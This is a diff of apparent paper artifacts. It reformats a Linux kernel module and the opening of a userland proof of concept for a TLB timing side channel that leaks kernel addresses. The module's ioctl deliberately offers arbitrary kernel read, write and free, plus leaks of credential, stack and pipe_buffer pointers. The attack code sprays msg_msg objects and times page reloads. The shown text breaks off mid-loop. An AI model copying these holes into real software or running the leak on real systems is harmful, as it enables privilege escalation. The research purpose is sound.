printk(KERN_INFO "lkm:dpm_text: _end_pa %016zx %s\n", _end_pa,
|
||||
isLargePage(_end_pa) ? "2MB page" : "4k page");
|
||||
}
|
||||
|
||||
void bpf_dpm_split(size_t size)
|
||||
void
|
||||
bpf_dpm_split(size_t size)
|
||||
{
|
||||
void *obj;
|
||||
pte_t *pte;
|
||||
|
@ -498,7 +506,8 @@ void bpf_dpm_split(size_t size)
|
|||
set_memory_rox((unsigned long)obj, size >> 12);
|
||||
pte = page_walk_pte((unsigned long)obj);
|
||||
vaddr = (size_t)phys_to_virt(pte->pte & 0xffffffffff000);
|
||||
printk(KERN_INFO "obj %016zx vaddr %016zx\n", (unsigned long)obj, vaddr);
|
||||
printk(KERN_INFO "obj %016zx vaddr %016zx\n", (unsigned long)obj,
|
||||
vaddr);
|
||||
}
|
||||
|
||||
struct msg_queue {
|
||||
|
@ -515,9 +524,10 @@ struct msg_queue {
|
|||
struct list_head q_receivers;
|
||||
struct list_head q_senders;
|
||||
};
|
||||
#define IPC_MSG_IDS 1
|
||||
#define msg_ids(ns) ((ns)->ids[IPC_MSG_IDS])
|
||||
static unsigned long msg_copy_to_user(size_t msqid, size_t type)
|
||||
#define IPC_MSG_IDS 1
|
||||
#define msg_ids(ns) ((ns)->ids[IPC_MSG_IDS])
|
||||
static unsigned long
|
||||
msg_copy_to_user(size_t msqid, size_t type)
|
||||
{
|
||||
struct msg_queue *msq;
|
||||
struct msg_msg *msg;
|
||||
|
@ -527,17 +537,22 @@ static unsigned long msg_copy_to_user(size_t msqid, size_t type)
|
|||
rcu_read_lock();
|
||||
// printk(KERN_DEBUG "lkm:msg_copy_to_user: msqid %ld\n", msqid);
|
||||
ns = current->nsproxy->ipc_ns;
|
||||
// printk(KERN_DEBUG "lkm:msg_copy_to_user: ns %016zd\n", (unsigned long)ns);
|
||||
// printk(KERN_DEBUG "lkm:msg_copy_to_user: ns %016zd\n", (unsigned
|
||||
// long)ns);
|
||||
ids = &msg_ids(ns);
|
||||
// printk(KERN_DEBUG "lkm:msg_copy_to_user: ids %016zd\n", (unsigned long)ids);
|
||||
// printk(KERN_DEBUG "lkm:msg_copy_to_user: ids %016zd\n", (unsigned
|
||||
// long)ids);
|
||||
msq = ipc_obtain_object_check(ids, msqid);
|
||||
// printk(KERN_DEBUG "lkm:msg_copy_to_user: msq %016zd\n", (unsigned long)msq);
|
||||
// printk(KERN_DEBUG "lkm:msg_copy_to_user: msq %016zd\n", (unsigned
|
||||
// long)msq);
|
||||
if (IS_ERR(msq))
|
||||
goto RETURN;
|
||||
list_for_each_entry(msg, &msq->q_messages, m_list) {
|
||||
list_for_each_entry(msg, &msq->q_messages, m_list)
|
||||
{
|
||||
if (msg->m_type == type) {
|
||||
found = msg;
|
||||
// printk(KERN_DEBUG "lkm:msg_copy_to_user: found %016zx\n", (unsigned long)found);
|
||||
// printk(KERN_DEBUG "lkm:msg_copy_to_user: found
|
||||
// %016zx\n", (unsigned long)found);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
@ -553,13 +568,15 @@ size_t SLAB_BASE_ADDR = 0;
|
|||
size_t SLAB_END_ADDR = 0;
|
||||
#endif
|
||||
|
||||
static int bad_address(void *p)
|
||||
static int
|
||||
bad_address(void *p)
|
||||
{
|
||||
unsigned long dummy;
|
||||
return get_kernel_nofault(dummy, (unsigned long *)p);
|
||||
}
|
||||
|
||||
noinline void pagetable_walk(msg_t *msg)
|
||||
noinline void
|
||||
pagetable_walk(msg_t *msg)
|
||||
{
|
||||
size_t address = msg->ptw.uaddr;
|
||||
pgd_t *base = __va(read_cr3_pa());
|
||||
|
@ -619,7 +636,8 @@ out:
|
|||
/*
|
||||
* ioctl code
|
||||
*/
|
||||
long lkm_ioctl(struct file *_, unsigned int num, long unsigned int param)
|
||||
long
|
||||
lkm_ioctl(struct file *_, unsigned int num, long unsigned int param)
|
||||
{
|
||||
int ret;
|
||||
msg_t msg;
|
||||
|
@ -635,9 +653,10 @@ long lkm_ioctl(struct file *_, unsigned int num, long unsigned int param)
|
|||
unsigned int head;
|
||||
unsigned int mask;
|
||||
|
||||
// printk(KERN_INFO "lkm:ioctl: start num 0x%08x param 0x%016lx\n", num, param);
|
||||
// printk(KERN_INFO "lkm:ioctl: start num 0x%08x param 0x%016lx\n", num,
|
||||
// param);
|
||||
|
||||
ret = copy_from_user((msg_t*)&msg, (msg_t*)param, sizeof(msg_t));
|
||||
ret = copy_from_user((msg_t *)&msg, (msg_t *)param, sizeof(msg_t));
|
||||
if (ret < 0) {
|
||||
printk(KERN_ERR "lkm:ioctl: copy_from_user failed\n");
|
||||
ret = -1;
|
||||
|
@ -645,183 +664,191 @@ long lkm_ioctl(struct file *_, unsigned int num, long unsigned int param)
|
|||
}
|
||||
|
||||
switch (num) {
|
||||
|
||||
case LKM_ALLOC:
|
||||
if (msg.al.id >= OBJS_SZ) {
|
||||
printk(KERN_ERR "lkm:ioctl: index %zd too large\n", msg.al.id);
|
||||
ret = -1;
|
||||
goto RETURN;
|
||||
}
|
||||
if (msg.al.size > 4096) {
|
||||
printk(KERN_ERR "lkm:ioctl: size %zd too big\n", msg.al.size);
|
||||
ret = -1;
|
||||
goto RETURN;
|
||||
}
|
||||
objs[msg.al.id] = kmalloc(msg.al.size, GFP_KERNEL);
|
||||
break;
|
||||
|
||||
case LKM_FREE:
|
||||
if (msg.fr.id >= OBJS_SZ) {
|
||||
printk(KERN_ERR "lkm:ioctl: %zd too large\n", msg.fr.id);
|
||||
ret = -1;
|
||||
goto RETURN;
|
||||
}
|
||||
kfree(objs[msg.fr.id]);
|
||||
break;
|
||||
|
||||
case LKM_WRITE:
|
||||
// printk(KERN_INFO "lkm:ioctl: arbitrary write\n");
|
||||
*(size_t *)msg.wr.kaddr = msg.wr.value;
|
||||
break;
|
||||
|
||||
case LKM_READ:
|
||||
// printk(KERN_INFO "lkm:ioctl: arbitrary read\n");
|
||||
tmp = *(size_t *)msg.rd.kaddr;
|
||||
uaddr = (size_t *)msg.rd.uaddr;
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_DPM_TEST:
|
||||
dpm_test();
|
||||
break;
|
||||
|
||||
case LKM_ACCESS_PRIMITIVE:
|
||||
*(volatile size_t *)msg.ap.addr;
|
||||
break;
|
||||
|
||||
case LKM_BPF_DPM_SPLIT:
|
||||
// printk(KERN_INFO "lkm:ioctl: bpf dpm split\n");
|
||||
bpf_dpm_split(msg.dpms.size);
|
||||
break;
|
||||
|
||||
case LKM_MSG_MSG_LEAK:
|
||||
tmp = msg_copy_to_user(msg.mrd.msqid, msg.mrd.mtype);
|
||||
uaddr = (size_t *)msg.mrd.uaddr;
|
||||
// printk(KERN_DEBUG "lkm:ioctl: msg_msg leak %16zx\n", tmp);
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_DPM_LEAK:
|
||||
tmp = (size_t)__va(0);
|
||||
uaddr = (size_t *)msg.drd.uaddr;
|
||||
// printk(KERN_DEBUG "lkm:ioctl: dpm leak %16zx\n", tmp);
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_VIRTUAL_BASE_LEAK:
|
||||
tmp = (size_t)slub_addr_base;
|
||||
uaddr = (size_t *)msg.drd.uaddr;
|
||||
printk(KERN_INFO "lkm:ioctl: slub_addr_base %16zx within [%016zx %016zx]\n", tmp, SLAB_BASE_ADDR, SLAB_END_ADDR);
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_SEQ_FILE_LEAK:
|
||||
id = msg.frd.fd;
|
||||
files = current->files;
|
||||
|
||||
spin_lock(&files->file_lock);
|
||||
fdt = files_fdtable(files);
|
||||
file = fdt->fd[id];
|
||||
spin_unlock(&files->file_lock);
|
||||
|
||||
tmp = (size_t)file->private_data;
|
||||
// printk(KERN_INFO "lkm:ioctl: seq_file %016zx\n", tmp);
|
||||
uaddr = (size_t *)msg.frd.uaddr;
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_CRED_LEAK:
|
||||
tmp = (size_t)current->real_cred;
|
||||
uaddr = (size_t *)msg.drd.uaddr;
|
||||
// printk(KERN_INFO "lkm:ioctl: current->cred %016zx\n", tmp);
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_FILE_LEAK:
|
||||
id = msg.frd.fd;
|
||||
files = current->files;
|
||||
|
||||
spin_lock(&files->file_lock);
|
||||
fdt = files_fdtable(files);
|
||||
tmp = (size_t)fdt->fd[id];
|
||||
spin_unlock(&files->file_lock);
|
||||
|
||||
// printk(KERN_INFO "lkm:ioctl: file %016zx\n", tmp);
|
||||
uaddr = (size_t *)msg.frd.uaddr;
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_STACK_LEAK:
|
||||
tmp = (size_t)current->stack;
|
||||
uaddr = (size_t *)msg.drd.uaddr;
|
||||
// printk(KERN_DEBUG "lkm:ioctl: current->stack %16zx with current %16zx within [%016zx %016zx]\n", tmp, (size_t)&dummy, VMALLOC_START, VMALLOC_END);
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_CODE_LEAK:
|
||||
tmp = (size_t)__text;
|
||||
uaddr = (size_t *)msg.drd.uaddr;
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_VMEMMAP_LEAK:
|
||||
tmp = (size_t)vmemmap_base;
|
||||
uaddr = (size_t *)msg.drd.uaddr;
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_VMALLOC_BASE_LEAK:
|
||||
tmp = (size_t)vmalloc_base;
|
||||
uaddr = (size_t *)msg.drd.uaddr;
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_ARB_FREE:
|
||||
printk(KERN_DEBUG "lkm:ioctl: free %016zx\n", msg.af.kaddr);
|
||||
kfree((void *)msg.af.kaddr);
|
||||
break;
|
||||
|
||||
case LKM_PIPE_BUFFER_LEAK:
|
||||
id = msg.pbrd.fd;
|
||||
files = current->files;
|
||||
|
||||
spin_lock(&files->file_lock);
|
||||
fdt = files_fdtable(files);
|
||||
file = fdt->fd[id];
|
||||
spin_unlock(&files->file_lock);
|
||||
|
||||
pipe = file->private_data;
|
||||
tail = pipe->tail;
|
||||
head = pipe->head;
|
||||
mask = pipe->ring_size - 1;
|
||||
if (msg.pbrd.rdend)
|
||||
tmp = (size_t)&pipe->bufs[tail & mask];
|
||||
else
|
||||
tmp = (size_t)&pipe->bufs[(head - 1) & mask];
|
||||
// printk(KERN_DEBUG "lkm:ioctl: pipe_buffer %016zx\n", tmp);
|
||||
uaddr = (size_t *)msg.pbrd.uaddr;
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_PAGETABLE_WALK:
|
||||
printk(KERN_DEBUG "lkm:ioctl: page table walk\n");
|
||||
msg.ptw.pgde = 0;
|
||||
msg.ptw.p4de = 0;
|
||||
msg.ptw.pude = 0;
|
||||
msg.ptw.pmde = 0;
|
||||
msg.ptw.pte = 0;
|
||||
pagetable_walk(&msg);
|
||||
ret = copy_to_user((msg_t*)param, (msg_t*)&msg, sizeof(msg_t));
|
||||
if (ret < 0) {
|
||||
printk(KERN_ALERT "lkm:ioctl: copy_to_user failed\n");
|
||||
ret = -1;
|
||||
goto RETURN;
|
||||
}
|
||||
break;
|
||||
|
||||
case LKM_IS_4KB:
|
||||
ret = !isLargePage(msg.ap.addr);
|
||||
// printk(KERN_DEBUG "lkm:ioctl: %016zx is %s page\n", msg.ap.addr, ret == 1 ? "4kB" : "2MB");
|
||||
return ret;
|
||||
|
||||
default:
|
||||
printk(KERN_ERR "lkm:ioctl: no valid num\n");
|
||||
case LKM_ALLOC:
|
||||
if (msg.al.id >= OBJS_SZ) {
|
||||
printk(KERN_ERR "lkm:ioctl: index %zd too large\n",
|
||||
msg.al.id);
|
||||
ret = -1;
|
||||
goto RETURN;
|
||||
}
|
||||
if (msg.al.size > 4096) {
|
||||
printk(KERN_ERR "lkm:ioctl: size %zd too big\n",
|
||||
msg.al.size);
|
||||
ret = -1;
|
||||
goto RETURN;
|
||||
}
|
||||
objs[msg.al.id] = kmalloc(msg.al.size, GFP_KERNEL);
|
||||
break;
|
||||
|
||||
case LKM_FREE:
|
||||
if (msg.fr.id >= OBJS_SZ) {
|
||||
printk(KERN_ERR "lkm:ioctl: %zd too large\n",
|
||||
msg.fr.id);
|
||||
ret = -1;
|
||||
goto RETURN;
|
||||
}
|
||||
kfree(objs[msg.fr.id]);
|
||||
break;
|
||||
|
||||
case LKM_WRITE:
|
||||
// printk(KERN_INFO "lkm:ioctl: arbitrary write\n");
|
||||
*(size_t *)msg.wr.kaddr = msg.wr.value;
|
||||
break;
|
||||
|
||||
case LKM_READ:
|
||||
// printk(KERN_INFO "lkm:ioctl: arbitrary read\n");
|
||||
tmp = *(size_t *)msg.rd.kaddr;
|
||||
uaddr = (size_t *)msg.rd.uaddr;
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_DPM_TEST:
|
||||
dpm_test();
|
||||
break;
|
||||
|
||||
case LKM_ACCESS_PRIMITIVE:
|
||||
*(volatile size_t *)msg.ap.addr;
|
||||
break;
|
||||
|
||||
case LKM_BPF_DPM_SPLIT:
|
||||
// printk(KERN_INFO "lkm:ioctl: bpf dpm split\n");
|
||||
bpf_dpm_split(msg.dpms.size);
|
||||
break;
|
||||
|
||||
case LKM_MSG_MSG_LEAK:
|
||||
tmp = msg_copy_to_user(msg.mrd.msqid, msg.mrd.mtype);
|
||||
uaddr = (size_t *)msg.mrd.uaddr;
|
||||
// printk(KERN_DEBUG "lkm:ioctl: msg_msg leak %16zx\n", tmp);
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_DPM_LEAK:
|
||||
tmp = (size_t)__va(0);
|
||||
uaddr = (size_t *)msg.drd.uaddr;
|
||||
// printk(KERN_DEBUG "lkm:ioctl: dpm leak %16zx\n", tmp);
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_VIRTUAL_BASE_LEAK:
|
||||
tmp = (size_t)slub_addr_base;
|
||||
uaddr = (size_t *)msg.drd.uaddr;
|
||||
printk(KERN_INFO
|
||||
"lkm:ioctl: slub_addr_base %16zx within [%016zx %016zx]\n",
|
||||
tmp, SLAB_BASE_ADDR, SLAB_END_ADDR);
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_SEQ_FILE_LEAK:
|
||||
id = msg.frd.fd;
|
||||
files = current->files;
|
||||
|
||||
spin_lock(&files->file_lock);
|
||||
fdt = files_fdtable(files);
|
||||
file = fdt->fd[id];
|
||||
spin_unlock(&files->file_lock);
|
||||
|
||||
tmp = (size_t)file->private_data;
|
||||
// printk(KERN_INFO "lkm:ioctl: seq_file %016zx\n", tmp);
|
||||
uaddr = (size_t *)msg.frd.uaddr;
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_CRED_LEAK:
|
||||
tmp = (size_t)current->real_cred;
|
||||
uaddr = (size_t *)msg.drd.uaddr;
|
||||
// printk(KERN_INFO "lkm:ioctl: current->cred %016zx\n", tmp);
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_FILE_LEAK:
|
||||
id = msg.frd.fd;
|
||||
files = current->files;
|
||||
|
||||
spin_lock(&files->file_lock);
|
||||
fdt = files_fdtable(files);
|
||||
tmp = (size_t)fdt->fd[id];
|
||||
spin_unlock(&files->file_lock);
|
||||
|
||||
// printk(KERN_INFO "lkm:ioctl: file %016zx\n", tmp);
|
||||
uaddr = (size_t *)msg.frd.uaddr;
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_STACK_LEAK:
|
||||
tmp = (size_t)current->stack;
|
||||
uaddr = (size_t *)msg.drd.uaddr;
|
||||
// printk(KERN_DEBUG "lkm:ioctl: current->stack %16zx with
|
||||
// current %16zx within [%016zx %016zx]\n", tmp, (size_t)&dummy,
|
||||
// VMALLOC_START, VMALLOC_END);
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_CODE_LEAK:
|
||||
tmp = (size_t)__text;
|
||||
uaddr = (size_t *)msg.drd.uaddr;
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_VMEMMAP_LEAK:
|
||||
tmp = (size_t)vmemmap_base;
|
||||
uaddr = (size_t *)msg.drd.uaddr;
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_VMALLOC_BASE_LEAK:
|
||||
tmp = (size_t)vmalloc_base;
|
||||
uaddr = (size_t *)msg.drd.uaddr;
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_ARB_FREE:
|
||||
printk(KERN_DEBUG "lkm:ioctl: free %016zx\n", msg.af.kaddr);
|
||||
kfree((void *)msg.af.kaddr);
|
||||
break;
|
||||
|
||||
case LKM_PIPE_BUFFER_LEAK:
|
||||
id = msg.pbrd.fd;
|
||||
files = current->files;
|
||||
|
||||
spin_lock(&files->file_lock);
|
||||
fdt = files_fdtable(files);
|
||||
file = fdt->fd[id];
|
||||
spin_unlock(&files->file_lock);
|
||||
|
||||
pipe = file->private_data;
|
||||
tail = pipe->tail;
|
||||
head = pipe->head;
|
||||
mask = pipe->ring_size - 1;
|
||||
if (msg.pbrd.rdend)
|
||||
tmp = (size_t)&pipe->bufs[tail & mask];
|
||||
else
|
||||
tmp = (size_t)&pipe->bufs[(head - 1) & mask];
|
||||
// printk(KERN_DEBUG "lkm:ioctl: pipe_buffer %016zx\n", tmp);
|
||||
uaddr = (size_t *)msg.pbrd.uaddr;
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_PAGETABLE_WALK:
|
||||
printk(KERN_DEBUG "lkm:ioctl: page table walk\n");
|
||||
msg.ptw.pgde = 0;
|
||||
msg.ptw.p4de = 0;
|
||||
msg.ptw.pude = 0;
|
||||
msg.ptw.pmde = 0;
|
||||
msg.ptw.pte = 0;
|
||||
pagetable_walk(&msg);
|
||||
ret = copy_to_user((msg_t *)param, (msg_t *)&msg,
|
||||
sizeof(msg_t));
|
||||
if (ret < 0) {
|
||||
printk(KERN_ALERT "lkm:ioctl: copy_to_user failed\n");
|
||||
ret = -1;
|
||||
goto RETURN;
|
||||
}
|
||||
break;
|
||||
|
||||
case LKM_IS_4KB:
|
||||
ret = !isLargePage(msg.ap.addr);
|
||||
// printk(KERN_DEBUG "lkm:ioctl: %016zx is %s page\n",
|
||||
// msg.ap.addr, ret == 1 ? "4kB" : "2MB");
|
||||
return ret;
|
||||
|
||||
default:
|
||||
printk(KERN_ERR "lkm:ioctl: no valid num\n");
|
||||
ret = -1;
|
||||
goto RETURN;
|
||||
}
|
||||
ret = 0;
|
||||
goto DONE;
|
||||
|
||||
COPY_TMP_TO_USER:
|
||||
if(uaddr == 0) { // && "forgot to set uaddr");
|
||||
if (uaddr == 0) { // && "forgot to set uaddr");
|
||||
printk(KERN_ERR "lkm:ioctl: uaddr == 0\n");
|
||||
// ret = -1;
|
||||
goto RETURN;
|
||||
|
@ -831,7 +858,8 @@ COPY_TMP_TO_USER:
|
|||
// ret = -1;
|
||||
goto RETURN;
|
||||
}
|
||||
// printk(KERN_INFO "lkm:ioctl: copy 0x%016zx to mem[0x%016zx]\n", tmp, (size_t)uaddr);
|
||||
// printk(KERN_INFO "lkm:ioctl: copy 0x%016zx to mem[0x%016zx]\n", tmp,
|
||||
// (size_t)uaddr);
|
||||
ret = copy_to_user(uaddr, &tmp, sizeof(size_t));
|
||||
if (ret < 0) {
|
||||
printk(KERN_ERR "lkm:ioctl: copy_to_user failed\n");
|
||||
|
|
BIN
paper/artifacts/page-table/pmd_4k_leak.elf
Executable file
BIN
paper/artifacts/page-table/pmd_4k_leak.elf
Executable file
Binary file not shown.
|
@ -1,262 +1,294 @@
|
|||
#include "utils.h"
|
||||
#include <stddef.h>
|
||||
|
||||
#include "cacheutils.h"
|
||||
#include "tlb_flush.h"
|
||||
#include "coarse_grain_leak.h"
|
||||
#include "tlb_flush.h"
|
||||
#include "utils.h"
|
||||
#define DEBUG
|
||||
#ifdef DEBUG
|
||||
#include "ulkm.h"
|
||||
#endif
|
||||
#include "msg_msg.h"
|
||||
#include <sys/socket.h>
|
||||
#include <sys/mman.h>
|
||||
#define IPPROTO_DCCP 33
|
||||
#define IPPROTO_SCTP 132
|
||||
#define IPPROTO_L2TP 115
|
||||
#define CAN_RAW 1
|
||||
#define CAN_BCM 2
|
||||
#define CAN_ISOTP 6
|
||||
#include <sys/socket.h>
|
||||
|
||||
#define HIST_SIZE 60
|
||||
#define TRIES 40
|
||||
#include "msg_msg.h"
|
||||
#define IPPROTO_DCCP 33
|
||||
#define IPPROTO_SCTP 132
|
||||
#define IPPROTO_L2TP 115
|
||||
#define CAN_RAW 1
|
||||
#define CAN_BCM 2
|
||||
#define CAN_ISOTP 6
|
||||
|
||||
#define PAGE_SPRAY (30)
|
||||
#define HIST_SIZE 60
|
||||
#define TRIES 40
|
||||
|
||||
#define PAGE_SPRAY (30)
|
||||
#define PAGE_OTHER_SPRAY (10)
|
||||
#define PAGE_SIZE (1<<12)
|
||||
#define PMD_SIZE (1<<21)
|
||||
#define PAGE_SIZE (1 << 12)
|
||||
#define PMD_SIZE (1 << 21)
|
||||
|
||||
#define MSG_SIZE (256 - 48)
|
||||
#define MSG_SPRAYS (1<<8)*32
|
||||
#define MSG_TYPE 0x41
|
||||
#define MSG_SIZE (256 - 48)
|
||||
#define MSG_SPRAYS (1 << 8) * 32
|
||||
#define MSG_TYPE 0x41
|
||||
|
||||
#define IS_HIT(t, tn2, tn4, tn8) (((tn2) - (t)) >= (THRESHOLD2-THRESHOLD+2) || ((tn4) - (t)) >= (THRESHOLD2-THRESHOLD+2) || ((tn8) - (t) >= (THRESHOLD2-THRESHOLD+2)))
|
||||
#define IS_HIT(t, tn2, tn4, tn8) \
|
||||
(((tn2) - (t)) >= (THRESHOLD2 - THRESHOLD + 2) || \
|
||||
((tn4) - (t)) >= (THRESHOLD2 - THRESHOLD + 2) || \
|
||||
((tn8) - (t) >= (THRESHOLD2 - THRESHOLD + 2)))
|
||||
|
||||
int qids[MSG_SPRAYS];
|
||||
|
||||
void __hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8, size_t print)
|
||||
void
|
||||
__hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time,
|
||||
size_t *time_n, size_t *time_n4, size_t *time_n8, size_t print)
|
||||
{
|
||||
size_t t;
|
||||
size_t times[tries];
|
||||
size_t hist[HIST_SIZE] = {0};
|
||||
size_t times_n[tries];
|
||||
size_t hist_n[HIST_SIZE] = {0};
|
||||
size_t times_n4[tries];
|
||||
size_t hist_n4[HIST_SIZE] = {0};
|
||||
size_t times_n8[tries];
|
||||
size_t hist_n8[HIST_SIZE] = {0};
|
||||
/* leaking */
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
flush_tlb_targeted_4k(addr);
|
||||
flush_tlb_targeted_4k(addr+PAGE_SIZE);
|
||||
flush_tlb_targeted_4k(addr+PAGE_SIZE*4);
|
||||
flush_tlb_targeted_4k(addr+PAGE_SIZE*8);
|
||||
if (i % 2 == 0)
|
||||
mprotect(uaddr, PAGE_SIZE, PROT_READ);
|
||||
else
|
||||
mprotect(uaddr, PAGE_SIZE, PROT_WRITE);
|
||||
t = onlyreload(addr);
|
||||
hist[MIN(t,HIST_SIZE-2)]++;
|
||||
times[i] = t;
|
||||
size_t t;
|
||||
size_t times[tries];
|
||||
size_t hist[HIST_SIZE] = { 0 };
|
||||
size_t times_n[tries];
|
||||
size_t hist_n[HIST_SIZE] = { 0 };
|
||||
size_t times_n4[tries];
|
||||
size_t hist_n4[HIST_SIZE] = { 0 };
|
||||
size_t times_n8[tries];
|
||||
size_t hist_n8[HIST_SIZE] = { 0 };
|
||||
/* leaking */
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
flush_tlb_targeted_4k(addr);
|
||||
flush_tlb_targeted_4k(addr + PAGE_SIZE);
|
||||
flush_tlb_targeted_4k(addr + PAGE_SIZE * 4);
|
||||
flush_tlb_targeted_4k(addr + PAGE_SIZE * 8);
|
||||
if (i % 2 == 0)
|
||||
mprotect(uaddr, PAGE_SIZE, PROT_READ);
|
||||
else
|
||||
mprotect(uaddr, PAGE_SIZE, PROT_WRITE);
|
||||
t = onlyreload(addr);
|
||||
hist[MIN(t, HIST_SIZE - 2)]++;
|
||||
times[i] = t;
|
||||
|
||||
t = onlyreload(addr+PAGE_SIZE);
|
||||
times_n[i] = t;
|
||||
hist_n[MIN(t,HIST_SIZE-2)]++;
|
||||
t = onlyreload(addr + PAGE_SIZE);
|
||||
times_n[i] = t;
|
||||
hist_n[MIN(t, HIST_SIZE - 2)]++;
|
||||
|
||||
t = onlyreload(addr+PAGE_SIZE*4);
|
||||
times_n4[i] = t;
|
||||
hist_n4[MIN(t,HIST_SIZE-2)]++;
|
||||
t = onlyreload(addr + PAGE_SIZE * 4);
|
||||
times_n4[i] = t;
|
||||
hist_n4[MIN(t, HIST_SIZE - 2)]++;
|
||||
|
||||
t = onlyreload(addr+PAGE_SIZE*8);
|
||||
times_n8[i] = t;
|
||||
hist_n8[MIN(t,HIST_SIZE-2)]++;
|
||||
}
|
||||
qsort(times, tries, sizeof(size_t), comp);
|
||||
qsort(times_n, tries, sizeof(size_t), comp);
|
||||
qsort(times_n4, tries, sizeof(size_t), comp);
|
||||
qsort(times_n8, tries, sizeof(size_t), comp);
|
||||
for (size_t i = 20; i < HIST_SIZE && print; i += 2)
|
||||
printf("% 4zd:\t %3zd %3zd %3zd %3zd\n", i, hist[i], hist_n[i], hist_n4[i], hist_n8[i]);
|
||||
*time = times[tries/8];
|
||||
*time_n = times_n[tries/8];
|
||||
*time_n4 = times_n4[tries/8];
|
||||
*time_n8 = times_n8[tries/8];
|
||||
t = onlyreload(addr + PAGE_SIZE * 8);
|
||||
times_n8[i] = t;
|
||||
hist_n8[MIN(t, HIST_SIZE - 2)]++;
|
||||
}
|
||||
qsort(times, tries, sizeof(size_t), comp);
|
||||
qsort(times_n, tries, sizeof(size_t), comp);
|
||||
qsort(times_n4, tries, sizeof(size_t), comp);
|
||||
qsort(times_n8, tries, sizeof(size_t), comp);
|
||||
for (size_t i = 20; i < HIST_SIZE && print; i += 2)
|
||||
printf("% 4zd:\t %3zd %3zd %3zd %3zd\n", i, hist[i], hist_n[i],
|
||||
hist_n4[i], hist_n8[i]);
|
||||
*time = times[tries / 8];
|
||||
*time_n = times_n[tries / 8];
|
||||
*time_n4 = times_n4[tries / 8];
|
||||
*time_n8 = times_n8[tries / 8];
|
||||
}
|
||||
void hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8)
|
||||
void
|
||||
hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n,
|
||||
size_t *time_n4, size_t *time_n8)
|
||||
{
|
||||
__hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 0);
|
||||
__hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 0);
|
||||
}
|
||||
void hit_flush_print(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8)
|
||||
void
|
||||
hit_flush_print(void *uaddr, size_t addr, size_t tries, size_t *time,
|
||||
size_t *time_n, size_t *time_n4, size_t *time_n8)
|
||||
{
|
||||
__hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 1);
|
||||
__hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 1);
|
||||
}
|
||||
|
||||
int main(void)
|
||||
int
|
||||
main(void)
|
||||
{
|
||||
printf("[*] start\n");
|
||||
set_limit();
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
pin_to_core(0);
|
||||
printf("[*] start\n");
|
||||
set_limit();
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
pin_to_core(0);
|
||||
|
||||
init_tlb_flush();
|
||||
get_total_memory();
|
||||
init_tlb_flush();
|
||||
get_total_memory();
|
||||
|
||||
static char buffer[0x1000] = {0};
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE;
|
||||
static char buffer[0x1000] = { 0 };
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE;
|
||||
|
||||
printf("[*] make queues\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
printf("[*] make queues\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
|
||||
printf("[*] warmup and other alloc msg_msg structs\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
send_msg(qids[i], message, MSG_SIZE, 0);
|
||||
printf("[*] warmup and other alloc msg_msg structs\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
send_msg(qids[i], message, MSG_SIZE, 0);
|
||||
|
||||
printf("[*] reserve mmappings\n");
|
||||
void *addresses[PAGE_SPRAY];
|
||||
for (size_t i = 0; i < PAGE_SPRAY; ++i) {
|
||||
void *addr = (void *)((0x6dULL<<21) + (1ULL<<12)*i);
|
||||
